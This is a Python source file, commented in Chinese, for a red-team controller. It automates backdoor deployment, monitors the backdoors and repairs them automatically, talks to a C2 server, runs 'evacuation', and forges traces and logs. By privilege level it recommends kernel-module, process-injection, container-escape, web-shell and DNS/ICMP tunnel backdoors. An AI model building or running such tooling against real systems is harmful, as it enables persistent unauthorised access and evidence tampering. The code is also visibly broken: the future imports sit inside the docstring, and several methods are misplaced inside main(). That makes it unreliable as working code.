#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""

from __future__ import print_function
from __future__ import unicode_literals
from __future__ import division
from __future__ import absolute_import

红队闭环流程控制器
整合自动化部署、监控、撤离和C2通信功能，实现完整的红队闭环流程
"""

import os
import sys

# Python 2/3 兼容性处理
if sys.version_info[0] == 2:
    string_types = basestring
    text_type = unicode
    def iteritems(d):
        return d.iteritems()
    def itervalues(d):
        return d.itervalues()
else:
    string_types = str
    text_type = str
    def iteritems(d):
        return d.items()
    def itervalues(d):
        return d.values()
import json
import time
import threading
import argparse
from typing import Dict, List, Tuple, Optional, Any
from dataclasses import dataclass, asdict
from enum import Enum
from datetime import datetime, timedelta
import logging



try:
    from core.utils import color_green, color_yellow, color_red, color_blue
    from modules.redteam.adaptive_deployment_engine import (
        AdaptiveDeploymentEngine, EnvironmentProfile, BackdoorConfig as DeploymentBackdoorConfig
    )
    from modules.redteam.backdoor_verification_engine import (
        BackdoorVerificationEngine, BackdoorConfig, BackdoorType, VerificationStatus
    )
    from modules.redteam.heartbeat_monitor import HeartbeatMonitor, MonitorConfig
    from modules.redteam.evacuation_system import EvacuationSystem, EvacuationLevel, EvacuationConfig
    from modules.redteam.c2_interface import C2Interface, C2Config, AgentStatus
    # 新增高级功能模块
    from modules.redteam.backdoor_template_engine import BackdoorTemplateEngine, BackdoorTemplate
    from modules.redteam.privilege_context_adapter import PrivilegeContextAdapter, PrivilegeInfo
    from modules.redteam.ecosystem_integration import EcosystemIntegrationManager, IntegrationType
except ImportError as e:
    print("导入模块失败: {}".format(e))
    sys.exit(1)


class OperationPhase(Enum):
    """操作阶段"""
    INITIALIZATION = "initialization"
    DEPLOYMENT = "deployment"
    MONITORING = "monitoring"
    MAINTENANCE = "maintenance"
    EVACUATION = "evacuation"
    COMPLETED = "completed"
    ERROR = "error"


class OperationMode(Enum):
    """操作模式"""
    AUTOMATIC = "automatic"      # 全自动模式
    INTERACTIVE = "interactive"  # 交互模式
    STEALTH = "stealth"         # 隐蔽模式
    AGGRESSIVE = "aggressive"    # 激进模式


@dataclass
class RedTeamConfig:
    """红队配置"""
    # 部署配置
    target_environment: str = "auto_detect"
    deployment_strategy: str = "adaptive"
    enable_redundancy: bool = True
    
    # 监控配置
    heartbeat_interval: int = 1800  # 30分钟
    enable_auto_repair: bool = True
    max_repair_attempts: int = 3
    
    # C2配置
    c2_server_url: str = ""
    c2_api_key: str = ""
    enable_c2_communication: bool = False
    
    # 撤离配置
    auto_evacuation_triggers: List[str] = None
    evacuation_timeout: int = 30
    enable_trace_forge: bool = False
    
    # 操作配置
    operation_mode: OperationMode = OperationMode.AUTOMATIC
    stealth_level: int = 5  # 1-10
    log_level: str = "INFO"


@dataclass
class OperationStatus:
    """操作状态"""
    phase: OperationPhase
    start_time: float
    last_update: float
    deployed_backdoors: int
    active_backdoors: int
    failed_backdoors: int
    repair_attempts: int
    c2_connected: bool
    errors: List[str]


class RedTeamController:
    """红队闭环流程控制器"""
    
    def __init__(self, config: RedTeamConfig = None):
        self.config = config or RedTeamConfig()
        self.operation_status = OperationStatus(
            phase=OperationPhase.INITIALIZATION,
            start_time=time.time(),
            last_update=time.time(),
            deployed_backdoors=0,
            active_backdoors=0,
            failed_backdoors=0,
            repair_attempts=0,
            c2_connected=False,
            errors=[]
        )
        
        # 初始化组件
        self.deployment_engine = None
        self.verification_engine = None
        self.heartbeat_monitor = None
        self.evacuation_system = None
        self.c2_interface = None
        
        # 新增高级功能组件
        self.template_engine = None
        self.privilege_adapter = None
        self.integration_manager = None
        
        # 运行状态
        self.running = False
        self.stop_event = threading.Event()
        self.main_thread = None
        
        # 日志配置
        self._setup_logging()
        
        # 初始化组件
        self._initialize_components()
    
    def _setup_logging(self):
        """设置日志"""
        try:
            # 尝试使用统一日志系统
            import sys
            import os
            sys.path.append(os.path.join(os.path.dirname(os.path.dirname(os.path.dirname(__file__))), 'config'))
            from unified_logger import get_logger, LogLevel, LogFormat
            
            log_config = {
                'log_level': self.config.log_level.upper(),
                'log_format': LogFormat.DETAILED.value,
                'enable_console': True,
                'enable_file': True,
                'log_dir': os.path.join(os.path.dirname(os.path.dirname(os.path.dirname(__file__))), 'logs'),
                'log_filename': 'redteam_controller.log'
            }
            
            self.logger = get_logger("redteam_controller", log_config)
            
        except ImportError:
            # 回退到传统日志系统
            log_level = getattr(logging, self.config.log_level.upper(), logging.INFO)
            
            logging.basicConfig(
                level=log_level,
                format='%(asctime)s - %(name)s - %(levelname)s - %(message)s'
            )
            self.logger = logging.getLogger('redteam_controller')
    
    def _initialize_components(self):
        """初始化组件"""
        color_blue("🔧 初始化红队组件...")
        
        try:
            # 初始化部署引擎
            self.deployment_engine = AdaptiveDeploymentEngine()
            color_green("  ✅ 部署引擎初始化完成")
            
            # 初始化验证引擎
            self.verification_engine = BackdoorVerificationEngine()
            color_green("  ✅ 验证引擎初始化完成")
            
            # 初始化心跳监控
            monitor_config = MonitorConfig(
                heartbeat_interval=self.config.heartbeat_interval,
                enable_auto_repair=self.config.enable_auto_repair,
                max_repair_attempts=self.config.max_repair_attempts,
                stealth_mode=(self.config.operation_mode == OperationMode.STEALTH)
            )
            self.heartbeat_monitor = HeartbeatMonitor(monitor_config)
            color_green("  ✅ 心跳监控初始化完成")
            
            # 初始化撤离系统
            evacuation_config = EvacuationConfig(
                fast_timeout=10,
                deep_timeout=self.config.evacuation_timeout,
                enable_log_forge=self.config.enable_trace_forge
            )
            self.evacuation_system = EvacuationSystem(evacuation_config)
            color_green("  ✅ 撤离系统初始化完成")
            
            # 初始化C2接口
            if self.config.enable_c2_communication and self.config.c2_server_url:
                c2_config = C2Config(
                    server_url=self.config.c2_server_url,
                    api_key=self.config.c2_api_key,
                    heartbeat_interval=self.config.heartbeat_interval
                )
                self.c2_interface = C2Interface(c2_config)
                self.c2_interface.set_heartbeat_monitor(self.heartbeat_monitor)
                self.c2_interface.set_evacuation_system(self.evacuation_system)
                color_green("  ✅ C2接口初始化完成")
            
            # 初始化后门模板引擎
            self.template_engine = BackdoorTemplateEngine()
            color_green("  ✅ 后门模板引擎初始化完成")
            
            # 初始化权限上下文适配器
            self.privilege_adapter = PrivilegeContextAdapter()
            color_green("  ✅ 权限上下文适配器初始化完成")
            
            # 初始化生态系统集成管理器
            self.integration_manager = EcosystemIntegrationManager()
            color_green("  ✅ 生态系统集成管理器初始化完成")
            
            color_green("🎯 所有组件初始化完成")
            
        except Exception as e:
            color_red("❌ 组件初始化失败: {}".format(e))
            self.operation_status.errors.append("组件初始化失败: {}".format(e))
            self.operation_status.phase = OperationPhase.ERROR
    
    def start_operation(self):
        """启动红队操作"""
        color_blue("🚀 启动红队闭环流程...")
        
        if self.running:
            color_yellow("⚠️ 操作已在运行中")
            return
        
        self.running = True
        self.stop_event.clear()
        
        # 启动主线程
        self.main_thread = threading.Thread(target=self._main_operation_loop, daemon=True)
        self.main_thread.start()
        
        color_green("✅ 红队操作已启动")
    
    def stop_operation(self):
        """停止红队操作"""
        color_blue("🛑 停止红队操作...")
        
        self.running = False
        self.stop_event.set()
        
        # 停止所有组件
        if self.heartbeat_monitor:
            self.heartbeat_monitor.stop_monitoring()
        
        if self.c2_interface:
            self.c2_interface.stop_communication()
        
        # 等待主线程结束
        if self.main_thread and self.main_thread.is_alive():
            self.main_thread.join(timeout=10)
        
        self.operation_status.phase = OperationPhase.COMPLETED
        color_green("✅ 红队操作已停止")
    
    def _main_operation_loop(self):
        """主操作循环"""
        try:
            # 阶段1: 环境检测和部署
            if not self.stop_event.is_set():
                self._phase_deployment()
            
            # 阶段2: 启动监控
            if not self.stop_event.is_set():
                self._phase_monitoring()
            
            # 阶段3: 维护循环
            if not self.stop_event.is_set():
                self._phase_maintenance()
            
        except Exception as e:
            color_red("❌ 主操作循环异常: {}".format(e))
            self.operation_status.errors.append("主操作循环异常: {}".format(e))
            self.operation_status.phase = OperationPhase.ERROR
    
    def _phase_deployment(self):
        """部署阶段"""
        color_blue("📦 进入部署阶段...")
        self.operation_status.phase = OperationPhase.DEPLOYMENT
        self._update_status()
        
        try:
            # 环境检测
            color_blue("🔍 检测目标环境...")
            environment_profile = self.deployment_engine.detect_environment()
            
            if not environment_profile:
                raise Exception("环境检测失败")
            
            color_green("✅ 环境检测完成: {}".format(environment_profile.os_type))
            
            # 选择部署策略
            color_blue("🎯 选择部署策略...")
            deployment_plan = self.deployment_engine.select_deployment_strategy(environment_profile)
            
            color_green("✅ 部署策略: {} 个后门".format(len(deployment_plan.backdoor_configs)))
            
            # 执行部署
            color_blue("🚀 执行后门部署...")
            deployment_results = self.deployment_engine.deploy_backdoors(deployment_plan)
            
            # 统计部署结果
            successful_deployments = [r for r in deployment_results if r.success]
            failed_deployments = [r for r in deployment_results if not r.success]
            
            self.operation_status.deployed_backdoors = len(successful_deployments)
            self.operation_status.failed_backdoors = len(failed_deployments)
            
            color_green("✅ 部署完成: {} 成功, {} 失败".format(len(successful_deployments), len(failed_deployments)))
            
            # 添加后门配置到监控
            for result in successful_deployments:
                backdoor_config = BackdoorConfig(
                    backdoor_type=result.backdoor_type,
                    location=result.location,
                    verification_method="auto",
                    repair_commands=[]
                )
                self.heartbeat_monitor.add_backdoor_config(backdoor_config)
            
            if len(successful_deployments) == 0:
                raise Exception("所有后门部署失败")
            
        except Exception as e:
            color_red("❌ 部署阶段失败: {}".format(e))
            self.operation_status.errors.append("部署阶段失败: {}".format(e))
            self.operation_status.phase = OperationPhase.ERROR
    
    def _phase_monitoring(self):
        """监控阶段"""
        color_blue("👁️ 进入监控阶段...")
        self.operation_status.phase = OperationPhase.MONITORING
        self._update_status()
        
        try:
            # 启动心跳监控
            self.heartbeat_monitor.start_monitoring()
            
            # 启动C2通信
            if self.c2_interface:
                self.c2_interface.start_communication()
                self.operation_status.c2_connected = True
            
            color_green("✅ 监控系统已启动")
            
        except Exception as e:
            color_red("❌ 监控阶段失败: {}".format(e))
            self.operation_status.errors.append("监控阶段失败: {}".format(e))
            self.operation_status.phase = OperationPhase.ERROR
    
    def _phase_maintenance(self):
        """维护阶段"""
        color_blue("🔧 进入维护阶段...")
        self.operation_status.phase = OperationPhase.MAINTENANCE
        self._update_status()
        
        try:
            # 维护循环
            while not self.stop_event.is_set():
                # 更新状态
                self._update_operation_status()
                
                # 检查撤离触发条件
                if self._check_evacuation_triggers():
                    color_yellow("⚠️ 检测到撤离触发条件")
                    self._emergency_evacuation()
                    break
                
                # 等待下一次检查
                if self.stop_event.wait(timeout=60):  # 每分钟检查一次
                    break
            
        except Exception as e:
            color_red("❌ 维护阶段异常: {}".format(e))
            self.operation_status.errors.append("维护阶段异常: {}".format(e))
            self.operation_status.phase = OperationPhase.ERROR
    
    def _update_operation_status(self):
        """更新操作状态"""
        try:
            if self.heartbeat_monitor:
                status_summary = self.heartbeat_monitor.get_status_summary()
                
                # 统计后门状态
                active_count = 0
                failed_count = 0
                
                for backdoor_type, status_info in status_summary.get('backdoor_status', {}).items():
                    if status_info.get('status') == 'success':
                        active_count += 1
                    else:
                        failed_count += 1
                
                self.operation_status.active_backdoors = active_count
                self.operation_status.failed_backdoors = failed_count
            
            self._update_status()
            
        except Exception as e:
            self.logger.error("状态更新失败: {}".format(e))
    
    def _check_evacuation_triggers(self) -> bool:
        """检查撤离触发条件"""
        try:
            if not self.config.auto_evacuation_triggers:
                return False
            
            # 检查各种触发条件
            triggers = self.config.auto_evacuation_triggers
            
            # 后门失败率过高
            if 'high_failure_rate' in triggers:
                total_backdoors = self.operation_status.active_backdoors + self.operation_status.failed_backdoors
                if total_backdoors > 0:
                    failure_rate = self.operation_status.failed_backdoors / total_backdoors
                    if failure_rate > 0.7:  # 70%失败率
                        return True
            
            # C2连接丢失
            if 'c2_disconnected' in triggers:
                if self.c2_interface and not self.operation_status.c2_connected:
                    return True
            
            # 检测到安全工具
            if 'security_tools_detected' in triggers:
                # 这里可以添加安全工具检测逻辑
                pass
            
            return False
            
        except Exception as e:
            self.logger.error("撤离触发检查失败: {}".format(e))
            return False
    
    def _emergency_evacuation(self):
        """紧急撤离"""
        color_red("🚨 执行紧急撤离...")
        self.operation_status.phase = OperationPhase.EVACUATION
        self._update_status()
        
        try:
            # 执行快速撤离
            evacuation_results = self.evacuation_system.fast_evacuation()
            
            color_green("✅ 紧急撤离完成: {}秒".format(evacuation_results.get('elapsed_time', 0)))
            
            # 停止所有操作
            self.stop_operation()
            
        except Exception as e:
            color_red("❌ 紧急撤离失败: {}".format(e))
            self.operation_status.errors.append("紧急撤离失败: {}".format(e))
    
    def manual_evacuation(self, level: str = "fast") -> Dict[str, Any]:
        """手动撤离"""
        color_blue("🚨 执行手动撤离 ({})...".format(level))
        self.operation_status.phase = OperationPhase.EVACUATION
        self._update_status()
        
        try:
            if level == "fast":
                results = self.evacuation_system.fast_evacuation()
            elif level == "deep":
                results = self.evacuation_system.deep_evacuation()
            elif level == "forge":
                results = self.evacuation_system.forge_traces()
            else:
                raise ValueError("未知撤离级别: {}".format(level))
            
            color_green(f"✅ 手动撤离完成")
            
            # 停止操作
            self.stop_operation()
            
            return results
            
        except Exception as e:
            color_red("❌ 手动撤离失败: {}".format(e))
            self.operation_status.errors.append("手动撤离失败: {}".format(e))
            return {'error': str(e)}
    
    def get_operation_status(self) -> Dict[str, Any]:
        """获取操作状态"""
        status_dict = asdict(self.operation_status)
        
        # 添加运行时间
        status_dict['runtime'] = time.time() - self.operation_status.start_time
        
        # 添加组件状态
        status_dict['components'] = {
            'deployment_engine': self.deployment_engine is not None,
            'verification_engine': self.verification_engine is not None,
            'heartbeat_monitor': self.heartbeat_monitor is not None,
            'evacuation_system': self.evacuation_system is not None,
            'c2_interface': self.c2_interface is not None
        }
        
        return status_dict
    
    def _update_status(self):
        """更新状态时间戳"""
        self.operation_status.last_update = time.time()
    
    def execute_command(self, command: str, parameters: Dict[str, Any] = None) -> Dict[str, Any]:
        """执行命令"""
        parameters = parameters or {}
        
        try:
            if command == "status":
                return self.get_operation_status()
            
            elif command == "start":
                self.start_operation()
                return {"status": "started"}
            
            elif command == "stop":
                self.stop_operation()
                return {"status": "stopped"}
            
            elif command == "evacuate":
                level = parameters.get("level", "fast")
                return self.manual_evacuation(level)
            
            elif command == "check_backdoors":
                if self.heartbeat_monitor:
                    return self.heartbeat_monitor.run_manual_check()
                else:
                    return {"error": "心跳监控未初始化"}
            
            elif command == "repair_backdoors":
                if self.heartbeat_monitor:
                    # 触发手动修复
                    self.heartbeat_monitor._perform_heartbeat_check()
                    return {"status": "repair_triggered"}
                else:
                    return {"error": "心跳监控未初始化"}
            
            # 新增高级功能命令
            elif command == "get_privilege_context":
                return self.get_privilege_context()
            
            elif command == "list_templates":
                return self.list_available_templates()
            
            elif command == "load_template":
                template_name = parameters.get("template_name")
                if not template_name:
                    return {"error": "缺少模板名称参数"}
                return self.load_backdoor_template(template_name)
            
            elif command == "setup_integration":
                integration_type = parameters.get("type")
                config = parameters.get("config", {})
                if not integration_type:
                    return {"error": "缺少集成类型参数"}
                return self.setup_ecosystem_integration(integration_type, config)
            
            elif command == "trigger_event":
                event_type = parameters.get("event_type")
                data = parameters.get("data", {})
                if not event_type:
                    return {"error": "缺少事件类型参数"}
                return self.trigger_ecosystem_event(event_type, data)
            
            elif command == "get_adaptive_strategy":
                return self.get_adaptive_deployment_strategy()
            
            else:
                return {"error": "未知命令: {}".format(command)}
                
        except Exception as e:
            return {"error": str(e)}
    
    def get_status(self) -> Dict[str, Any]:
        """获取控制器状态"""
        try:
            status = {
                "controller_status": "active",
                "initialized_components": [],
                "component_status": {}
            }
            
            # 检查各组件状态
            if self.template_engine:
                status["initialized_components"].append("template_engine")
                status["component_status"]["template_engine"] = "active"
            
            if self.privilege_adapter:
                status["initialized_components"].append("privilege_adapter")
                status["component_status"]["privilege_adapter"] = "active"
            
            if self.integration_manager:
                status["initialized_components"].append("integration_manager")
                status["component_status"]["integration_manager"] = "active"
                # 获取集成管理器状态
                integration_status = self.integration_manager.get_status()
                status["integration_status"] = integration_status
            
            if self.deployment_engine:
                status["initialized_components"].append("deployment_engine")
                status["component_status"]["deployment_engine"] = "active"
            
            if self.verification_engine:
                status["initialized_components"].append("verification_engine")
                status["component_status"]["verification_engine"] = "active"
            
            status["total_components"] = len(status["initialized_components"])
            
            return status
            
        except Exception as e:
            self.logger.error("获取控制器状态失败: {}".format(e))
            return {"error": str(e), "status": "error"}
    
    def list_modules(self) -> Dict[str, Any]:
        """列出已加载的模块"""
        try:
            modules = {
                "loaded_modules": [],
                "module_status": {}
            }
            
            # 检查各模块状态
            if self.deployment_engine:
                modules["loaded_modules"].append("deployment_engine")
                modules["module_status"]["deployment_engine"] = "active"
            
            if self.verification_engine:
                modules["loaded_modules"].append("verification_engine")
                modules["module_status"]["verification_engine"] = "active"
            
            if self.template_engine:
                modules["loaded_modules"].append("template_engine")
                modules["module_status"]["template_engine"] = "active"
            
            if self.privilege_adapter:
                modules["loaded_modules"].append("privilege_adapter")
                modules["module_status"]["privilege_adapter"] = "active"
            
            if self.integration_manager:
                modules["loaded_modules"].append("integration_manager")
                modules["module_status"]["integration_manager"] = "active"
            
            if self.heartbeat_monitor:
                modules["loaded_modules"].append("heartbeat_monitor")
                modules["module_status"]["heartbeat_monitor"] = "active"
            
            if self.evacuation_system:
                modules["loaded_modules"].append("evacuation_system")
                modules["module_status"]["evacuation_system"] = "active"
            
            if self.c2_interface:
                modules["loaded_modules"].append("c2_interface")
                modules["module_status"]["c2_interface"] = "active"
            
            modules["total_modules"] = len(modules["loaded_modules"])
            
            return modules
            
        except Exception as e:
            self.logger.error("列出模块失败: {}".format(e))
            return {"error": str(e)}
    
    def get_config(self) -> Dict[str, Any]:
        """获取控制器配置"""
        try:
            config_info = {
                "controller_config": {
                    "operation_mode": self.config.operation_mode.value if self.config.operation_mode else "unknown",
                    "log_level": self.config.log_level if hasattr(self.config, 'log_level') else "INFO",
                    "max_concurrent_operations": self.config.max_concurrent_operations if hasattr(self.config, 'max_concurrent_operations') else 5
                },
                "component_configs": {}
            }
            
            # 获取各组件配置
            if self.template_engine:
                config_info["component_configs"]["template_engine"] = {
                    "templates_loaded": len(getattr(self.template_engine, 'templates', {})),
                    "status": "active"
                }
            
            if self.privilege_adapter:
                config_info["component_configs"]["privilege_adapter"] = {
                    "current_privilege": getattr(self.privilege_adapter, 'current_privilege', "unknown"),
                    "status": "active"
                }
            
            if self.integration_manager:
                config_info["component_configs"]["integration_manager"] = {
                    "integrations_count": len(getattr(self.integration_manager, 'integrations', {})),
                    "status": "active"
                }
            
            return config_info
            
        except Exception as e:
            self.logger.error("获取配置失败: {}".format(e))
            return {"error": str(e)}


def create_interactive_menu():
    """创建交互式菜单"""
    def print_menu():
        """打印菜单"""
        print("="*60)
        print("🔥 红队闭环流程控制器 v2.0")
        print("="*60)
        print("基础功能:")
        print("1. 启动红队操作")
        print("2. 停止红队操作")
        print("3. 查看操作状态")
        print("4. 检查后门状态")
        print("5. 手动修复后门")
        print("6. 快速撤离")
        print("7. 深度撤离")
        print("8. 痕迹伪造")
        print("-"*60)
        print("高级功能:")
        print("10. 查看权限上下文")
        print("11. 列出可用模板")
        print("12. 加载后门模板")
        print("13. 设置生态集成")
        print("14. 触发生态事件")
        print("15. 获取自适应策略")
        print("-"*60)
        print("9. 退出")
        print("="*60)
    
    # 创建控制器
    config = RedTeamConfig(
        operation_mode=OperationMode.INTERACTIVE,
        heartbeat_interval=300,  # 5分钟
        enable_auto_repair=True,
        auto_evacuation_triggers=['high_failure_rate']
    )
    
    controller = RedTeamController(config)
    
    try:
        while True:
            print_menu()
            choice = input("请选择操作 (1-15, 9退出): ").strip()
            
            if choice == "1":
                controller.start_operation()
            
            elif choice == "2":
                controller.stop_operation()
            
            elif choice == "3":
                status = controller.get_operation_status()
                print("\n操作状态:")
                print(json.dumps(status, indent=2, ensure_ascii=False))
            
            elif choice == "4":
                result = controller.execute_command("check_backdoors")
                print("\n后门状态:")
                print(json.dumps(result, indent=2, ensure_ascii=False))
            
            elif choice == "5":
                result = controller.execute_command("repair_backdoors")
                print("\n修复结果:")
                print(json.dumps(result, indent=2, ensure_ascii=False))
            
            elif choice == "6":
                result = controller.execute_command("evacuate", {"level": "fast"})
                print("\n快速撤离结果:")
                print(json.dumps(result, indent=2, ensure_ascii=False))
            
            elif choice == "7":
                result = controller.execute_command("evacuate", {"level": "deep"})
                print("\n深度撤离结果:")
                print(json.dumps(result, indent=2, ensure_ascii=False))
            
            elif choice == "8":
                result = controller.execute_command("evacuate", {"level": "forge"})
                print("\n痕迹伪造结果:")
                print(json.dumps(result, indent=2, ensure_ascii=False))
            
            # 高级功能选项
            elif choice == "10":
                result = controller.execute_command("get_privilege_context")
                print("\n权限上下文:")
                print(json.dumps(result, indent=2, ensure_ascii=False))
            
            elif choice == "11":
                result = controller.execute_command("list_templates")
                print("\n可用模板:")
                print(json.dumps(result, indent=2, ensure_ascii=False))
            
            elif choice == "12":
                template_name = input("请输入模板名称: ").strip()
                if template_name:
                    result = controller.execute_command("load_template", {"template_name": template_name})
                    print(f"\n加载模板 '{template_name}' 结果:")
                    print(json.dumps(result, indent=2, ensure_ascii=False))
                else:
                    print("❌ 模板名称不能为空")
            
            elif choice == "13":
                print("可用集成类型: api, webhook, c2_beacon, script")
                integration_type = input("请输入集成类型: ").strip()
                if integration_type:
                    result = controller.execute_command("setup_integration", {"type": integration_type})
                    print(f"\n设置 '{integration_type}' 集成结果:")
                    print(json.dumps(result, indent=2, ensure_ascii=False))
                else:
                    print("❌ 集成类型不能为空")
            
            elif choice == "14":
                event_type = input("请输入事件类型 (如: backdoor_deployed, privilege_escalated): ").strip()
                if event_type:
                    result = controller.execute_command("trigger_event", {"event_type": event_type})
                    print(f"\n触发事件 '{event_type}' 结果:")
                    print(json.dumps(result, indent=2, ensure_ascii=False))
                else:
                    print("❌ 事件类型不能为空")
            
            elif choice == "15":
                result = controller.execute_command("get_adaptive_strategy")
                print("\n自适应部署策略:")
                print(json.dumps(result, indent=2, ensure_ascii=False))
            
            elif choice == "9":
                controller.stop_operation()
                color_green("👋 再见!")
                break
            
            else:
                color_yellow("⚠️ 无效选择，请重试")
            
            input("\n按回车键继续...")
    
    except KeyboardInterrupt:
        color_blue("\n收到停止信号...")
        controller.stop_operation()


def main():
    """主函数"""
    parser = argparse.ArgumentParser(description='红队闭环流程控制器')
    parser.add_argument('--mode', choices=['auto', 'interactive'], 
                       default='interactive', help='运行模式')
    parser.add_argument('--config', help='配置文件路径')
    parser.add_argument('--c2-url', help='C2服务器URL')
    parser.add_argument('--c2-key', help='C2 API密钥')
    
    args = parser.parse_args()
    
    if args.mode == 'interactive':
        create_interactive_menu()
    else:
        # 自动模式
        config = RedTeamConfig(
            operation_mode=OperationMode.AUTOMATIC,
            c2_server_url=args.c2_url or "",
            c2_api_key=args.c2_key or "",
            enable_c2_communication=bool(args.c2_url),
            auto_evacuation_triggers=['high_failure_rate', 'c2_disconnected']
        )
        
        controller = RedTeamController(config)
        
        try:
            controller.start_operation()
            
            color_blue("红队操作运行中，按 Ctrl+C 停止...")
            while controller.running:
                time.sleep(60)
                
        except KeyboardInterrupt:
            color_blue("收到停止信号...")
        finally:
            controller.stop_operation()


    def get_privilege_context(self) -> Dict[str, Any]:
        """获取权限上下文信息"""
        if not self.privilege_adapter:
            return {"error": "权限适配器未初始化"}
        
        try:
            privilege_info = self.privilege_adapter.analyze_current_privilege()
            stability = self.privilege_adapter.verify_privilege_stability()
            recommendations = self.privilege_adapter.get_privilege_maintenance_recommendations()
            
            return {
                "privilege_type": privilege_info.privilege_type.value,
                "stability": privilege_info.stability.value,
                "is_stable": stability,
                "recommendations": recommendations,
                "session_info": privilege_info.session_info,
                "expiry_time": privilege_info.expiry_time
            }
        except Exception as e:
            self.logger.error("获取权限上下文失败: {}".format(e))
            return {"error": str(e)}
    
    def load_backdoor_template(self, template_name: str) -> Dict[str, Any]:
        """加载后门模板"""
        if not self.template_engine:
            return {"error": "模板引擎未初始化"}
        
        try:
            templates_file = os.path.join(os.path.dirname(__file__), "..", "..", "templates", "backdoor_templates.json")
            if os.path.exists(templates_file):
                templates = self.template_engine.load_templates(templates_file)
                if template_name in templates:
                    template = templates[template_name]
                    config = self.template_engine.generate_backdoor_config(template)
                    adapted_config = self.template_engine.adapt_to_environment(config)
                    return {
                        "template": template_name,
                        "config": adapted_config,
                        "status": "success"
                    }
                else:
                    return {"error": f"模板 '{template_name}' 不存在"}
            else:
                return {"error": "模板文件不存在"}
        except Exception as e:
            self.logger.error("加载后门模板失败: {}".format(e))
            return {"error": str(e)}
    
    def list_available_templates(self) -> Dict[str, Any]:
        """列出可用的后门模板"""
        if not self.template_engine:
            return {"error": "模板引擎未初始化"}
        
        try:
            templates_file = os.path.join(os.path.dirname(__file__), "..", "..", "templates", "backdoor_templates.json")
            if os.path.exists(templates_file):
                templates = self.template_engine.load_templates(templates_file)
                template_list = []
                for name, template in templates.items():
                    template_list.append({
                        "name": name,
                        "description": template.get("description", ""),
                        "trigger_type": template.get("trigger_condition", {}).get("type", ""),
                        "communication_method": template.get("communication_config", {}).get("method", ""),
                        "disguise_type": template.get("disguise_config", {}).get("type", "")
                    })
                return {"templates": template_list}
            else:
                return {"error": "模板文件不存在"}
        except Exception as e:
            self.logger.error("列出模板失败: {}".format(e))
            return {"error": str(e)}
    
    def setup_ecosystem_integration(self, integration_type: str, config: Dict[str, Any]) -> Dict[str, Any]:
        """设置生态系统集成"""
        if not self.integration_manager:
            return {"error": "集成管理器未初始化"}
        
        try:
            integration_id = self.integration_manager.add_integration(integration_type, config)
            return {
                "integration_id": integration_id,
                "type": integration_type,
                "status": "configured"
            }
        except Exception as e:
            self.logger.error("设置生态系统集成失败: {}".format(e))
            return {"error": str(e)}
    
    def trigger_ecosystem_event(self, event_type: str, data: Dict[str, Any]) -> Dict[str, Any]:
        """触发生态系统事件"""
        if not self.integration_manager:
            return {"error": "集成管理器未初始化"}
        
        try:
            event = {
                "type": event_type,
                "data": data,
                "timestamp": time.time()
            }
            self.integration_manager.handle_event(event)
            return {"status": "event_triggered", "event": event}
        except Exception as e:
            self.logger.error("触发生态系统事件失败: {}".format(e))
            return {"error": str(e)}
    
    def get_adaptive_deployment_strategy(self) -> Dict[str, Any]:
        """获取自适应部署策略"""
        try:
            # 获取权限上下文
            privilege_context = self.get_privilege_context()
            
            # 根据权限上下文选择合适的模板
            template_recommendations = []
            if privilege_context.get("privilege_type") == "sudo":
                template_recommendations = ["stealth_ssh_backdoor", "log_channel_backdoor"]
            elif privilege_context.get("privilege_type") == "root":
                template_recommendations = ["kernel_module_backdoor", "process_injection_backdoor"]
            elif privilege_context.get("privilege_type") == "container":
                template_recommendations = ["container_escape_backdoor", "web_shell_backdoor"]
            else:
                template_recommendations = ["dns_tunnel_backdoor", "icmp_backdoor"]
            
            # 获取环境信息
            environment_info = {}
            if self.deployment_engine:
                try:
                    environment_info = self.deployment_engine.analyze_environment()
                except:
                    pass
            
            return {
                "privilege_context": privilege_context,
                "recommended_templates": template_recommendations,
                "environment_info": environment_info,
                "deployment_strategy": "adaptive"
            }
        except Exception as e:
            self.logger.error("获取自适应部署策略失败: {}".format(e))
            return {"error": str(e)}
    
if __name__ == "__main__":
    main()